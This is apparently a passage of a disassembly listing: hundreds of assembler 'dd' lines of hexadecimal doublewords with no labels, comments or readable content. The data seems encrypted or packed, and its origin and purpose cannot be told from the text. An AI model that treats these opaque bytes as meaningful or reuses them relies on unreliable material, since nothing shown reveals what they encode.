		dd 599C02F1h, 847E884Ah, 0D9A1ACB4h, 13148C1h, 0D22E06A5h
		dd 63F2773Fh, 5F1DAE93h, 8BB2FA38h, 60235C81h, 0ADC4D0DBh
		dd 0F4E543F2h, 0B97B02Eh, 0F037ABACh, 51C59C68h, 9367BC7h
		dd 103FCA14h, 629BEEE8h, 0C3601CAEh, 31D4BB4Fh,	323D6377h
		dd 28C721E0h, 581BBC7Ah, 44AF7254h, 0C3C6DE25h,	0C377745Ch
		dd 68EE944Fh, 238229FCh, 9E47905Ah, 460B922Dh, 0E4B45849h
		dd 0E3BC1DF2h, 302D7420h, 3373EE08h, 7951B3BBh,	0D3E79E07h
		dd 9B9F06E4h, 5A4E055h,	3F282A2Ah, 577A308Ch, 0D6686024h
		dd 549A212Fh, 0C95A2601h, 20C748A5h, 808B232Ah,	0F08A7F42h
		dd 604906D7h, 0ECC4882Ah, 0F43AE11Dh, 555BE2Dh,	3C549A4Ch
		dd 96000DCh, 943A32E8h,	0BE25D418h, 6EE1494Ah, 5705E2FFh
		dd 23F24DA8h, 0E8CB5ABEh, 4FDEE44h, 0D7847E91h,	5B6B3108h
		dd 671258DBh, 7ACF4B81h, 173B3DEEh, 33028FE0h, 45565E3Eh
		dd 15A7E910h, 0A0BB3904h, 2B31694Ah, 6879D2ACh,	0F1AA46EAh
		dd 0AB474C0Bh, 57EC0392h, 8F916D60h, 0B844BD3Fh, 230A4B12h
		dd 75901825h, 0A90218A9h, 76E7BF34h, 9DB03B15h,	0E3EC5218h
		dd 511C80FAh, 0D7974235h, 40456673h, 833457E0h,	1E9EA2AEh
		dd 0EAD4C9C6h, 812D3720h, 0C9342DC4h, 0C2D7312Bh, 11100518h
		dd 5BA845A2h, 5E2D56DAh, 0BB168145h, 220EEC5h, 7FB30832h
		dd 0F3C35A0h, 15CA66B9h, 0B847C576h, 4865951Ch,	0EE21CECAh
		dd 8F005A22h, 20A9F801h, 505BBC76h, 2E9E2BD0h, 59742831h
		dd 4EA33283h, 33235DA2h, 0DA7EA1B3h, 0A4E47417h, 856D84ABh
		dd 7597D8F3h, 50380FC2h, 0DC216BC6h, 0F2978600h, 92F71A08h
		dd 5D52E93h, 216C4DCAh,	0D5AAD3F9h, 10C51245h, 0A3AB4DB2h
		dd 3A865931h, 800CA296h, 0A06E11AAh, 54E02B16h,	5C400744h
		dd 0AF8C8Ah, 4BA106E3h
		dd 0FA390858h, 0DD7CBA6h, 0A8404F35h, 0E75CB239h, 4AD06EB1h
		dd 11CB3002h, 4D018F8Ah, 3313F649h, 0C1004AAFh,	82754C0h
		dd 5B81FE80h, 0F26CA020h, 0F8169C2Bh, 0D052EE89h, 0B70601D1h
		dd 6A827F01h, 0E06081F8h, 0B32F4F7Ah, 0F7EAAAE7h, 6CB5968Ch
		dd 50A98BCEh, 11036D5Eh, 459A06D6h, 545980CFh, 0C079ED0Dh
		dd 705467BCh, 0BD2A023h, 3230002Ah, 6898F8EAh, 0B05B5C63h
		dd 0FC1013CBh, 0C49680AFh, 6CA6C069h, 97E61077h, 0C7105B77h
		dd 0EC1E0AADh, 0FF5FC70Eh, 26596E9h, 78E91Ch, 0A04C5424h
		dd 260E44B1h, 0DF91FAC4h, 0C4E920FBh, 705AA82Ah, 1D015062h
		dd 4BD54A99h, 0D60865FFh, 95A5C488h, 521ACF66h,	8A1AB232h
		dd 8154C30h, 0C3C044C4h, 0CA89CEF4h, 91848294h,	6D95BA2h
		dd 2D04C095h, 0C2CDD13h, 52273D56h, 73970055h, 1A4E214Fh
		dd 0A189B18Fh, 71BCA65h, 0EBDF624Ch, 37FA37ADh,	0A949B20Eh
		dd 0D49C6040h, 0E52AD6ECh, 27F229A1h, 7E36AF5Dh, 5E1FA0F7h
		dd 12D86CAh, 68C779h, 3CC50691h, 0C0B795D4h, 61003014h
		dd 38C5B9B7h, 0ED48661Ch, 11431055h, 11434FD8h,	39234986h
		dd 41ED4A0Fh, 90B761E1h, 0F5D64774h, 0B81DEC68h, 34087E08h
		dd 8BDC346h, 50B4366h, 794A540Fh, 0A0BE5450h, 7F3B022Ch
		dd 1889571Bh, 73E85497h, 0EDC79F4Bh, 4A5BFB1Ch,	4926BE2Dh
		dd 49A31198h, 209C1F1Bh, 0C33880h, 0B542656Eh, 7DC08D07h
		dd 31480458h, 5E0D2457h, 0A440ACB1h, 8A144BC1h,	61101A5Dh
		dd 180850FCh, 2B9093D1h, 556F2A20h, 6D58D5A0h, 26182A8Ch
		dd 2D03450Dh, 752B450Dh, 62C6A1F4h, 766609CCh, 75B9681h
		dd 4772FE5Ah, 5D16B7D3h, 7160B88Ch, 8401EDE2h, 9579A7EBh
		dd 67FEBA89h, 7A29F8F9h, 322EB258h, 0D247A5D4h,	9477257h
		dd 64761D43h, 4F1E9271h, 73DB7B22h, 4B64E5Bh, 0DDCA92A3h
		dd 817E272Ah, 7D9E32A9h, 5688D51Eh, 507792A5h, 650B8125h
		dd 825E062h, 457B12AAh,	2D818208h, 2810DB96h, 5EF7003h
		dd 0EC2D49DCh, 0B851EA10h, 1DAACAB8h, 54C04178h, 98A1B9h
		dd 0A0989861h, 59A8229Fh, 7E576376h, 9D750E48h,	2188846Ch
		dd 25CEB81Dh, 60719488h, 0C9DBC63Fh, 5A934411h,	0CB946317h
		dd 0CC9B0D21h, 0CC843457h, 150D4630h, 550BAC2Dh, 5E17016h
		dd 77020883h, 30E5543h,	9DB0B98Eh, 39B83406h, 285F79E9h
		dd 154E8289h, 50594311h, 62ED1655h, 0F0789475h,	0F6232B43h
		dd 0AA31E073h, 48621748h, 155C759Eh, 0BF852474h, 209996AAh
		dd 59399CF2h, 0A5D60C73h, 9A1CCC56h, 4C7472E6h,	33164525h
		dd 0E66B550h, 58DA79A2h, 4CEFF1E4h, 38F82D77h, 7D34E5Ah
		dd 30F3F92h, 0F639D18Ch, 0C44563ACh, 72A152D0h,	0B21EED64h
		dd 0CF899DB0h, 8C27F994h, 15E7E9DFh, 51DC5AA4h,	0E2CD74B6h
		dd 4753424Fh, 6599CA8Ah, 0E4D64656h, 5D3563Eh, 91A81B8Bh
		dd 5A204FA2h, 0DD2A0ECAh, 0B613BA13h, 0C7598098h, 0C57CA0A8h
		dd 1D912D47h, 0E8A9041Ch, 422A00BCh, 0A7A26D0h,	0DFBE4D2Bh
		dd 0E165CED9h, 0C9625657h, 771194CBh, 0E65EF723h, 0CD7A67D8h
		dd 58134E47h, 0D0272E88h, 174E029h, 92A2CEA7h, 0E0D0DCCFh
		dd 0E5E8F595h, 973712Eh, 0CEC3BDFCh, 1ED6EF04h,	9C30AA5Dh
		dd 0DF4A6F07h, 7AF73B0Bh, 0A4ECD74Bh, 739DB6B3h, 6D81BDEDh
		dd 56499B63h, 0EDD415ABh, 714C2F63h, 0CEED43E9h, 0C9D68DBAh
		dd 0AC0E3D99h, 0B29E2E97h, 1F8EC2F3h, 2619B8B3h, 0F2777158h
		dd 3768699Bh, 533E5116h, 0D7FBA665h, 7DD5F07Fh,	113C14E6h
		dd 0CAA708E6h, 8C65310Fh, 0BAA10219h, 1BEA7A00h, 0E32872FAh
		dd 0E3C53AE7h, 2DD862FDh, 0AF0162C2h, 2F11B97Bh, 10064DECh
		dd 4329D727h, 0D944943Eh, 67516D40h, 83901740h,	4BF41303h
		dd 73CE8C03h, 787290A2h, 2F60F52Ah, 7380583Dh, 4F001B80h
		dd 90016159h, 27659953h, 0E719E60Dh, 0BE10C23Ah, 15C660E0h
		dd 34E6C770h, 975959CDh, 7A29313Ah, 52066607h, 0A1656E68h
		dd 73933B1h, 185089C6h,	1ABAE09Fh, 0AA4E1E73h, 9F17E0F1h
		dd 0F44FB2AEh, 983760D3h, 4CBE3966h, 75BC6B62h,	0CF3F9BD3h
		dd 2DA10685h, 866C0EF6h, 8A1A9945h, 8C5D2378h, 30704C30h
		dd 51DA1CAFh, 140D85Eh,	0CA584717h, 80DE72B9h, 81AE92C6h
		dd 9EF530C7h, 0E26CB465h, 1EC3F218h, 0D7449C50h, 67C5BD26h
		dd 986B9AC1h, 0A3C6B651h, 4F884D16h, 7509D69Ch,	8DFDDC90h
		dd 6495AF1Eh, 70E0B2A5h, 2E4A2BAEh, 0CF8A444Ch,	0E5DEF48Ah
		dd 72150C0Bh, 1C81D265h, 5A234779h, 8A8E5CCAh, 4B54CEF3h
		dd 1485F4ADh, 36A809A2h, 1912A314h, 10570EE4h, 0B4EEB05h
		dd 0E4C7FC1Fh, 164BC282h, 8090FA2Bh, 28EAA789h,	0D4692B7Bh
		dd 0AABD93C8h, 1151E4B6h, 59D4D12Eh, 0AF6D1696h, 7143A0E6h
		dd 0A8B0C461h, 9F8F37EFh, 0FB0C2CC9h, 0C04C780Fh, 3CC2953h
		dd 0CB85A284h, 2CC11A4Eh, 311F55CEh, 0DF22C295h, 0CF62C24Ah
		dd 0AAE8CD09h, 59A1452Eh, 184A1219h, 303348EBh,	9D008FC6h
		dd 0ACCACD84h, 717FF80Fh, 27D4C707h, 5000974Fh,	382F778Dh
		dd 0E5829098h, 0ED08F289h, 9A4180C4h, 28C85976h, 3DE9DE05h
		dd 4BD1EE7Fh, 0B199B049h, 0C2A48779h, 671E9DE0h, 0DD018EF8h
		dd 1D950931h, 0E11DE677h, 87BD14F2h, 0E593998Fh, 0B2BF1EF2h
		dd 203D0CE7h, 3E184F7Ah, 3F882AF9h, 2D47037h, 1234D017h
		dd 0A7A3579Fh, 0A2F9C312h, 0E7932B3Dh, 0A29B77CEh, 77331C89h
		dd 96859812h, 0AD50D88Eh, 2798F63Eh, 0EF443270h, 56EBFB11h
		dd 773C01A7h, 503840DAh, 0EC5F5CF7h, 7D6CE361h,	0AA0E41B6h
		dd 0C19E880Ch, 22A5FC0Ch, 6A8CAB48h, 6262A4C7h,	0BB0A4C8Eh
		dd 0DED5AE16h, 857A85CFh, 0B9DF3CABh, 5F10030Fh, 27EC8194h
		dd 0C443D866h, 0CD6B2CD3h, 88B4DBC1h, 2C22D006h, 0A25713B6h
		dd 9166D55Ah, 0B458CAD9h, 0FC402954h, 7BFB220Bh, 0C1E0D8CFh
		dd 480C2E2Ch, 8BD5CE1Bh, 0E2883508h, 10C8801Fh,	0A018C93Eh
		dd 2C282BDCh, 6501E220h, 5021D0F8h, 0A1D3CE3h, 0A4443116h
		dd 0B301D302h, 0A81C1830h, 7A5EA7C8h, 5F045B0h,	458041F7h
		dd 49D90996h, 0E2C37983h, 0F8337BC8h, 8168F1B5h, 3783E42Dh
		dd 0C30496D4h, 481400D2h, 3A557D82h, 0DE03F09h,	0A04FE418h
		dd 1EB86846h, 88EBF71Ah, 0BB042BC6h, 43AC43A8h,	0C44AD68Ch
		dd 0AC05029Eh, 0CCF5EAC2h, 0AE77F3FAh, 0F8D97E1Eh, 536CB632h
		dd 0D19E1612h, 0EA709EB5h, 9151B155h, 55CFD40Fh, 759E686Eh
		dd 0C89ED8E4h, 9285DDFAh, 7155DECCh, 8BF91AB5h,	0DB226211h
		dd 67A783D4h, 0CB9EB8A0h, 0AA8EAF28h, 652CF376h, 11805DCCh
		dd 0D64E9C6Dh, 0F581688Dh, 6B73A03Ah, 0E93E3C10h, 598D180Bh
		dd 56014A12h, 0DC9EDDEFh, 0E44B3F72h, 8C76EA7Ah, 2EB1232Bh
		dd 4BB0D89Ch, 0E349680Bh, 8BA35402h, 0CE348611h, 90300455h
		dd 11E8AB10h, 2B1A47C5h, 880F7807h, 799106D8h, 7158AF96h
		dd 1F1A0E04h, 3702E715h, 0A4F9CD89h, 8222191Ch,	4F7485B4h
		dd 7565609Dh, 0BC452705h, 0FA0DF406h, 0E4FE0610h, 139F8FB3h
		dd 9DF1CE8Ch, 0B0DCEE87h, 3A458007h, 82708633h,	114110DAh
		dd 3749415Fh, 2AB86185h, 0DB0B45F9h, 40EF920Eh,	5228B459h
		dd 8611A39h, 0BA8CAE9h,	9903AD23h, 0AD3598CEh, 0FC69702Ch
		dd 37088B8Eh, 0EFCB5BFDh, 0B38BC034h, 2BD372B6h, 40B8F0Ah
		dd 0ABA8CD39h, 0D23E86Fh, 4EA6712Fh, 0F50CFB0Ch, 0E0EECB79h
		dd 0A5B15EA2h, 3211CFE8h
		dd 0BB6F4468h, 79C1C55Ch, 31507D91h, 59371FD0h,	0A2BA1915h
		dd 4174A088h, 6CF2D2EBh, 0D100EBF9h, 23C0AB45h,	5E145B81h
		dd 0B54CA114h, 7B596575h, 25DB0EB5h, 0E23D230Ch, 474C1468h
		dd 0B9FFB548h, 0EC38EE01h, 6011850Bh, 0B1550F4Ah, 178115ECh
		dd 6F13AD50h, 0B1815A9Ah, 0B25F88D8h, 4FA28346h, 211498B5h
		dd 968C216Bh, 0F7B3E369h, 55458629h, 0A25BF3CBh, 251EA20Bh
		dd 0AD43AA0h, 72AC7F41h, 38CABB39h, 0C53DAEC7h,	0F42EBB07h
		dd 0DEA87137h, 0F1AB6748h, 0FE8CBE1Ah, 84C74501h, 0AED1C9AAh
		dd 0B9D7C314h, 629EE2Bh, 5E9E968Fh, 0A3985D9Ch,	4C1105EDh
		dd 0B4D1C26Bh, 9B4E3689h, 0CF431338h, 624412C1h, 468F94Ch
		dd 44680493h, 8468CA13h, 0B5C8213h, 0AE2B3F1Ah,	0D2154A02h
		dd 52ADE4F0h, 28086ABBh, 88936B78h, 0E5D135BCh,	6DEA0B35h
		dd 8ABF2DBEh, 5F22597Eh, 0F3AB6B21h, 0F3B3FA15h, 791C06EDh
		dd 5832A82Ah, 9677F40h,	0C4CE112Fh, 7C72D6B2h, 74EF5955h
		dd 8731407Eh, 0AC8419BCh, 0FB09654Bh, 37CB558Dh, 0ABC33C97h
		dd 0A25E1B58h, 485D09F8h, 0A4717EA0h, 0E4555F61h, 63F76667h
		dd 7D164826h, 40102C28h, 9CE90948h, 2ECA858Ah, 63174182h
		dd 0E8C92E9h, 0E75248A8h, 0F2A807E2h, 15C9B409h, 0A73EAD7Dh
		dd 72AC14Dh, 0E5540CD0h, 0E0A4BECFh, 89052F05h,	0F314532Dh
		dd 0CC400B47h, 0DE6CAF57h, 4D9FB2BEh, 99C3AECEh, 0F106895h
		dd 7EE2E87Eh, 35A21B4Ch, 0D0D2EAC8h, 0EDD020BBh, 0D2EAC6h
		dd 695EFF22h, 43B0C468h, 19A89A80h, 0F1B7F8C4h,	760B3EC6h
		dd 878A8B00h, 0A40FC982h, 36D43085h, 7115DF5Eh,	4EC3EDBCh
		dd 9FC8DEAFh, 99500D22h, 61C0DAEAh, 0EDC8965Fh,	3EE6DB0Ch
		dd 3FC94C84h, 0BAA70E75h, 524F5011h, 47B5139Dh,	6B493A83h
		dd 0E3C012A6h, 51D7A24Fh, 2EE9A4B8h, 3CFD1662h,	18D9D681h
		dd 0B52AB45Fh, 0E9D44511h, 956AEF93h, 657F5DD0h, 0F3582992h
		dd 85605DC5h, 0A59BBE4Fh, 1EB5B949h, 24B4FA03h,	0C1700D48h
		dd 0D74F430Ch, 0A6AA7B18h, 0B956FCABh, 8E146D4h, 82B2F444h
		dd 5097F660h, 6F8E3DBEh, 17164589h, 71759D6Eh, 0F5C200BDh
		dd 0C9FBBC74h, 27A709FBh, 0A8F34980h, 0EE5F87C8h, 0C09317C9h
		dd 0EDA32554h, 90BDD80Ah, 23A24EBAh, 0D5458FFh,	34AEE81h
		dd 4B12E88h, 0EB90095Fh, 8105609Eh, 6D5F2071h, 0E2BFA238h
		dd 14D293AAh, 2EE8CB8Eh, 930C9CFFh, 517C0B86h, 2EE82207h
		dd 84E56819h, 0BE910A65h, 2C065E70h, 3B1A3560h,	2D736501h
		dd 15BA15EAh, 30CB0D2Bh, 7C9A29C8h, 166AA154h, 0C3641FB4h
		dd 0D39FD568h, 672E2B3h, 61532A8h, 0FDB48118h, 0F32B83AAh
		dd 0D2E5ACA1h, 5655F5FFh, 2A28559Eh, 5AA55A9Fh,	2C68944Ch
		dd 40AA175Fh, 451EA84Eh, 0B501B7F6h, 1457636Fh,	8801D529h
		dd 589747F4h, 0F5418CE3h, 0A180D159h, 0B41DCDC0h, 8D3A1B5Bh
		dd 348AFE54h, 1F81F4C6h, 10728F4Fh, 726AC027h, 1E685717h
		dd 0B0CCB97Eh, 0D2BABC88h, 0EF1F3B86h, 2FBE78CAh, 5E17C192h
		dd 0CF258B86h, 30499C5Dh, 5D2F14F0h, 0E45D3DF7h, 0D5B282F9h
		dd 0D9D81F99h, 0EA20B401h, 5FEA845Ch, 3077F671h, 0CA91869Ch
		dd 0F8E2434Fh, 5D45E8F9h, 9A213D16h, 0A6718983h, 0BD7A7F84h
		dd 657788CBh, 0ADD60691h, 0D1C33E71h, 0E9916A14h, 0DE4527AAh
		dd 860FC495h, 872769EAh, 0FD202B29h, 59220566h,	0F0EA2406h
		dd 4FC10615h, 666D501Dh, 0F46FC5F4h, 0A64C01F5h, 64FACD21h
		dd 2AEF457Eh, 0EA4A1052h, 29FCC352h, 3BCBAD03h,	3ADF74DBh
		dd 0E906A92Fh, 88B1C317h, 0C8AD4FA1h, 0A208B420h, 0A11104Fh
		dd 0C923B1B4h, 23BF56E1h, 0EA40AB34h, 0FD4062E7h, 5A5DBAA7h
		dd 55C8823Ch, 8B571844h, 1FD21301h, 0F0FCD0FBh,	4FBD331Dh
		dd 301E5D97h, 44DE803Bh, 286BB58h, 929511DAh, 0A0480912h
		dd 24E9C11Dh, 681A6911h, 469E1247h, 0C0391C64h,	85D75B07h
		dd 0EAAF8901h, 0C0903DF8h, 183CC713h, 41771152h, 0D78754Ch
		dd 0AC06E52Eh, 0ACF9182Fh, 0D89DD5CBh, 95108B07h, 25522024h
		dd 3310F157h, 86C1E4C6h, 0BE9E2CEFh, 597CF575h,	2BB5CA60h
		dd 7056631Ch, 3FDF445Dh, 0B3D2F454h, 80D2832Fh,	2DBF824Fh
		dd 0B45F4154h, 9A3107B1h, 555BA3F2h, 0A35F299Ah, 75C46231h
		dd 874A7906h, 81653C12h, 4719717Dh, 0EC107E73h,	2082930Bh
		dd 8FE195D6h, 6936F182h, 8AC3B10Ah, 1E52713Ah, 894903FEh
		dd 0BF7332EEh, 0EB16FC2Eh, 0D164A40Ah, 0EDBC6302h, 46A7C5ABh
		dd 7DE8A3AFh, 9554F208h, 7B68D01Ch, 73D5BC18h, 3CF1894h
		dd 0B8BB0CACh, 6DC94B2Ah, 478462C0h, 9AB957h, 1F651C9h
		dd 8C6B8189h, 90300D17h, 0ED02932Eh, 0AA2A475Dh, 71D5A168h
		dd 54090727h, 8155A739h, 5F6B4DAFh, 39EEBE6h, 0CA3E7381h
		dd 59AA8DD5h, 3224C2C3h, 6F7F33D3h, 0F35FC799h,	0C628E33Bh
		dd 0FBD96385h, 0C650C545h, 0E4AFD60h, 890D925h,	0A29972BFh
		dd 22A525F7h, 0D1E44565h, 22A701D6h, 6368C696h,	13BDBC3h
		dd 7FE7E477h, 3917F9FEh, 80DD7718h, 6556F621h, 95668D5Ch
		dd 5D8257F8h, 0B7E22065h, 0BA4C6FC2h, 2651744h,	15A31AA4h
		dd 5FC789A8h, 0ABBCC18Dh, 0C57946BDh, 0B203488Ah, 600F81ACh
		dd 0BB2B7F8Fh, 0CD6F3626h, 6A0DE876h, 0C79AB911h, 1F451D49h
		dd 0E46A6890h, 0A318BC9Fh, 2E610227h, 6B536A7Bh, 0A2EE2199h
		dd 4E0FF7Ah, 63268794h,	0B430149Fh, 344AA224h, 558838E0h
		dd 0A010E972h, 369FE705h, 2B45F478h, 3AA7B9D8h,	86A36901h
		dd 244ACBDh, 0B6642929h, 89E65DC8h, 989FEF24h, 4212251Ah
		dd 45053687h, 461E5D70h, 0B201F67Eh, 46B9BBA1h,	0C82E67E1h
		dd 2FF17F63h, 9BE72289h, 0E524F257h, 1FE4BF1Fh,	0F061D53Fh
		dd 0C5A77171h, 0CB01718h, 0D4AA8950h, 0B3E97CF1h, 5F592022h
		dd 48211006h, 7C5BC60Eh, 1A0EF7EEh, 2E6C554Ch, 63F7FC23h
		dd 403F4BAEh, 98AAD1D5h, 0FB702760h, 0CD0D9192h, 0A67BE2A0h
		dd 1F5F5548h, 0E015DA0Fh, 6339517Fh, 0E635210Ah, 58BFF87Dh
		dd 596566C0h, 46CF3EFh,	34C3E1CBh, 18418E9Ch, 5E7D8FF8h
		dd 542817C8h, 34F26A51h, 90D315A9h, 1D0E6228h, 8704D40Fh
		dd 0EC23900Eh, 6B4660A4h, 0F9372EB1h, 0B105131Ch, 6BDE3EA2h
		dd 430AF47Fh, 0C76D6943h, 0AFF90E9h, 0F4CAD7BFh, 0C8B512E2h
		dd 0ED457714h, 26AF914Fh, 2C026046h, 4440F446h,	31D880CBh
		dd 28BBF241h, 61055290h, 0D3FBC92Dh, 500DD845h,	6F48114h
		dd 8D70B44Ah, 283A083Bh, 1CA2782Eh, 99DC5D8Ah, 0A95EE80h
		dd 2D0A6720h, 0A59C520Dh, 14FE3E31h, 0AECD5426h, 46358C14h
		dd 7D6BCE7Fh, 10DF1752h, 194443FFh, 7F11EFEDh, 0C675CEEEh
		dd 0D18371D0h, 0EE655941h, 75D4E8Bh, 595786B1h,	0C64E56BCh
		dd 50BAA451h, 485273F9h, 0E79B3CC8h, 0CC65688Ch, 0ACB530ABh
		dd 562FEDACh, 8BE8CF31h, 0C9B9FC08h, 974681CCh,	763B8C67h
		dd 2A0A2479h, 0D08B964Fh, 0F02AC02Ch, 62038CA5h, 4FF17A40h
		dd 0ACC84501h, 0AB282E1Ah, 0A1413A9Dh, 55413CB7h, 2A4EB08Ch
		dd 503ED81h, 3097DD8Ah,	53475BAAh, 50203161h, 9D2DE505h
		dd 0FB04AE6Ah, 2BA86A62h, 9B46A15Fh, 3EB8DDD1h,	70E8F3D6h
		dd 0FB31CC73h, 0B575D6ECh, 1D50419Dh, 0FE227185h, 9D159C03h
		dd 65596306h, 1EF4F56h,	0C2FAC6F6h, 984FEE3Ch, 0D667C409h
		dd 38933309h, 0C4A2D1B0h, 285FDD08h, 5DCD589h, 689A53BDh
		dd 0C55DCB9h, 8682F890h
		dd 59852E4Dh, 9E564449h, 0AEBEC5AEh, 15490C45h,	9861D2FEh
		dd 96B60E34h, 0F26A1806h, 41A57A86h, 3CC7DFC5h,	5FCC4FE2h
		dd 197B68B2h, 0C792AB3h, 6AFE6B17h, 33268AB1h, 9E5DDAA3h
		dd 0E50BE631h, 0FE681891h, 52FBD16Ah, 94E245E6h, 3B0558B9h
		dd 8933990Eh, 555111F5h, 2924418Eh, 9029EB09h, 2DD1A2AAh
		dd 4A79EBA8h, 94B55E56h, 486F9F19h, 14DEE554h, 0A71F8459h
		dd 0C583C053h, 0E4B3E474h, 865A1A9Bh, 0A82CF480h, 0DF39210Eh
		dd 95719305h, 717D9014h, 8BBCDF9Dh, 8ED2A0C8h, 60AB2AC4h
		dd 1DA121FBh, 98A3C1FEh, 2145C031h, 4CC02AB9h, 0FDD33D24h
		dd 186F68Bh, 0DE002C92h, 71262C89h, 0D3E126D1h,	0E83E38EAh
		dd 5874BA12h, 33A9D207h, 8D780335h, 0D74C2FAh, 5441EE9Ah
		dd 0F281822Ah, 74835945h, 0B2A8A8Bh, 0F641F2D2h, 5069A425h
		dd 9EF75781h, 1D55621Eh, 8EE30209h, 652BF0D5h, 146DBD87h
		dd 0E66D9D50h, 7D5AA1E6h, 0E5A48F8Ch, 0AA9D3718h, 0B5D6EA93h
		dd 8C378E08h, 377788ADh, 1AB69A8Eh, 5EC19B3h, 0EB300D0Ah
		dd 0F9C2EFDAh, 4FE9722Bh, 18A88A05h, 0EAD6AA49h, 0EB0F9924h
		dd 53448ACBh, 0B94B7313h, 173468E3h, 5A398BABh,	0F4198015h
		dd 98B478A6h, 0C6259AA8h, 4EA5BEACh, 0BAB06915h, 3EB5E96Ah
		dd 3D2B8B1h, 0B929AA48h, 1639A105h, 0E0E0FFA6h,	7422E9DEh
		dd 0FADEA033h, 5D7F5F16h, 84C6A012h, 2380E6B2h,	0C69D5A5Ch
		dd 0DEA17185h, 0D666D106h, 0EB5A77EFh, 8511217Dh, 0AA79E479h
		dd 0B6689A0Ah, 27B4DA07h, 0CD2348C2h, 0C110BA27h, 8941489Fh
		dd 85E11953h, 0B0CBA0E8h, 544EAD8Fh, 0A0B5C35Dh, 0F467C693h
		dd 5D974502h, 0EE64E650h, 714D48Bh, 0B3EF0527h,	4FF2A023h
		dd 32882B14h, 0BCAD693Ch, 2684034Fh, 8630500Dh,	8EAAA0FDh
		dd 859DB162h, 8F3E4A1Fh, 0A1A95AB4h, 0CF0BF2B0h, 0B2D3D3DAh
		dd 9402BEF2h, 0E0EA8328h, 6F98E8E4h, 0E56470AAh, 65B9387Dh
		dd 0D62E38AAh, 42703468h, 0FBEF8D0Eh, 160E69DEh, 0A0A55E6Fh
		dd 34B2E5F1h, 0BB338984h, 7252C196h, 4852E3F1h,	4AA39861h
		dd 0EA428BBh, 0F7365BF3h, 68966941h, 6984A095h,	15F1DCD7h
		dd 0C2C925Eh, 5CD12D23h, 11722A94h, 7A8F8E2Dh, 94038A37h
		dd 0C2E2B9F0h, 9260FA4h, 7D44FE9Ch, 95357124h, 5E3209F5h
		dd 0D1DC01E5h, 74B1407h, 288713C5h, 0E7D3CBE9h,	0C5B01B81h
		dd 7C1F9517h, 0B3A9B84Ah, 0DC854098h, 51C2C32Eh, 8951D4D0h
		dd 53E895D4h, 2FED7C86h, 0DD5CDD5Bh, 0E92BCA63h, 80C1A2C2h
		dd 536EADA6h, 47E2F4B4h, 0EE2FCFBCh, 2C60FF8Ch,	0A8EA9BF9h
		dd 1CB3895Fh, 482E42FAh, 0E1FE517h, 5BB9B0B6h, 176A174Fh
		dd 7B89F375h, 0AE143E77h, 983551F5h, 9B0CBA46h,	5DDC8032h
		dd 5F499DF0h, 9F6EF6EFh, 2BE9F387h, 4BAF348Ch, 0BA8FF851h
		dd 762CE284h, 144508EEh, 4855C28Dh, 0C50F16BBh,	8A8E4DF0h
		dd 53313EA3h, 2744FDE2h, 0E54DEAE4h, 0A26D6761h, 0C7CA883Bh
		dd 870C145Fh, 0E1410FEh, 843FBF8Ch, 0F7EA9D8Bh,	1C1D1AABh
		dd 0A9461D0Bh, 2997F302h, 92605419h, 8984A111h,	0C53480AAh
		dd 14111314h, 0A41F302h, 0D7D9660Ch, 3FA00ECAh,	5DEA7686h
		dd 2783A9F4h, 378978B3h, 0F5D0B155h, 88F2D81h, 0E31A9B0Ah
		dd 0EB7C362h, 3CE418D4h, 0FC5203CCh, 7225513Ch,	852A1D52h
		dd 53AB09CCh, 2C6F85CDh, 462155CBh, 0DD235F47h,	0CC0485E4h
		dd 541B183Fh, 0C228B1ACh, 0E8D41107h, 20ACDA42h, 8F917A48h
		dd 0AB6B5C71h, 0E8A4AFD7h, 2537FDD6h, 5F22DB92h, 0D39B5E98h
		dd 18930C1Dh, 9C86FAFBh, 0A5122E02h, 0F2C5C202h, 8B7D8A49h
		dd 0A45598A7h, 0AD09118Bh, 5FEC0864h, 6526C812h, 62124236h
		dd 74969F80h, 0CEEAA789h, 5985309Bh, 0DD783C24h, 0AC85B4F4h
		dd 468B146Ah, 0EA8FD4A9h, 184CCFA2h, 1318EE42h,	0CEB35FCEh
		dd 0BD768A36h, 7A1A16C7h, 5307E6D3h, 0EB4DFEDCh, 0DF3F242Ah
		dd 19A67546h, 41209030h, 1261B86Ch, 10CB216Dh, 2492783h
		dd 87030936h, 4450010Eh, 4A2A3012h, 756A9EE5h, 36A31768h
		dd 69F08C84h, 0B485175Fh, 4F34AA8Ch, 60E28445h,	27128AB0h
		dd 5D575C65h, 28AE1B9Dh, 89AF0D14h, 117F1423h, 353CC1BDh
		dd 0A87D48F8h, 59C17C70h, 358EE2FCh, 8A84210Dh,	36AAA319h
		dd 0B93DE20Ch, 26AECA09h, 2F557969h, 9AA58269h,	2EF384C6h
		dd 0A4310C6Eh, 66AA7217h, 0CBB98217h, 15FB0C15h, 0CA0229Dh
		dd 0AED0FA25h, 35DEBAC8h, 0E3974295h, 0AF12B660h, 819D5D62h
		dd 0EB9928EBh, 345D0125h, 2E05311Bh, 51841162h,	499BAF5Ch
		dd 7A054759h, 0B54B013Dh, 62BE3916h, 0D1E89CD0h, 0D335577Eh
		dd 97041DF9h, 8A00A1D0h, 1A188117h, 74FEDC41h, 50128DFCh
		dd 1981EB12h, 0B003F420h, 0F2B2AA3h, 0A151035h,	0B1E46BC7h
		dd 0B11BE98Ah, 41170A3Fh, 0D144035Ch, 0A346A768h, 0EBB5E90h
		dd 5175117Ah, 2E4F45BDh, 5B40FB67h, 174973C0h, 0EC8A80A8h
		dd 0BB2B1F78h, 36FC2BB6h, 3E741CAAh, 73BADCF4h,	0B4B4C749h
		dd 0E55E1860h, 498097C2h, 8CB3B746h, 26CAF30Ch,	5307565Dh
		dd 0E576EA5Ah, 1885FE32h, 0B7033F28h, 0C6630541h, 562107B7h
		dd 99024036h, 0CB3A4669h, 29672EDDh, 0F0B4CE89h, 18D17652h
		dd 1ABE5415h, 1455871Ah, 4A13D1A9h, 8C1BF115h, 0CCBE168Ch
		dd 6E3D47A4h, 3274E8C8h, 616DCFD8h, 0F11745F0h,	21B4E008h
		dd 143D20Fh, 6C88156Ch,	4DF9C960h, 9DDB59DFh, 0F01FD6DCh
		dd 989BED0Ah, 5D447BB1h, 791FCE62h, 18A3BB89h, 23D8FBC3h
		dd 0EBD667CCh, 4734C1FCh, 540EB283h, 0C8A540Ch,	566B556Ch
		dd 2C3C7B1Dh, 931BC874h, 0FB5F5F67h, 0EA34E7C2h, 18797AE2h
		dd 0B75C4F7Eh, 0A3CDCC31h, 3D29D4C6h, 71A4E30Fh, 51B95563h
		dd 0B875D1AFh, 0E827D187h, 76D17AAFh, 0F9A28542h, 4E465451h
